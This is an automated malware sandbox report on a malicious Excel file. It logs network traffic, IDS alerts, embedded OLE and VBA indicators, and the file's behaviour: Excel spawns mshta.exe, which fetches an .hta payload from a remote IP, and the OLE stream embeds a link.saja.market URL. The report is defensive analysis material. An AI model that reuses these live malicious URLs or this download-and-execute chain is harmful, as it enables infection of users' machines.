Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 192.168.2.7:49705 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49705
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 40.90.65.44:443 -> 192.168.2.7:49703

Source: Joe Sandbox View

IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 40.90.65.44:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 13.107.246.60:443

Source: global traffic	HTTP traffic detected: GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: link.saja.marketConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.23.187.151

Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.187.151
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: link.saja.marketConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.23.187.151

Source: global traffic	DNS traffic detected: DNS query: link.saja.market
Source: global traffic	DNS traffic detected: DNS query: otelrules.svc.static.microsoft

Source: POETDB24-25771.xla.xlsx

String found in binary or memory: https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 3.39.153.44:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.90.65.44:443 -> 192.168.2.7:49703 version: TLS 1.2

Source: POETDB24-25771.xla.xlsx

OLE indicator, VBA macros: true

Source: POETDB24-25771.xla.xlsx

Stream path 'MBD004FA1DE/\x1Ole' : https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt&y(haU4Nze1'^aNgGdK.(]1x= @X7<<PP;GsMvuT4xJiqF882G6rx1ZcHPsFxw6yXguXwaV7OJHpgwPmYoH8eHOK5niEyMxBlZLzjelmf65CJ18yrrHmk1NTyKvIVlYgElAjpb1uWug49HVwTSUXJZwBgZkJN;7fc3I?}u{Pu

Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Window title found: microsoft excel okexcel cannot open the file 'poetdb24-25771.xla.xlsx' because the file format or file extension is not valid. verify that the file has not been corrupted and that the file extension matches the format of the file.

Source: classification engine

Classification label: mal56.expl.winXLSX@6/4@3/4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user~1\AppData\Local\Temp\{2E140644-7590-4E49-81F5-BFF433BCF8FC} - OProcSessId.dat

Jump to behavior

Source: POETDB24-25771.xla.xlsx

OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: POETDB24-25771.xla.xlsx	Virustotal: Detection: 25%
Source: POETDB24-25771.xla.xlsx	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: c2r32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3EE60F5C-9BAD-4CD8-8E21-AD2D001D06EB}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: POETDB24-25771.xla.xlsx

Static file information: File size 1193984 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: POETDB24-25771.xla.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
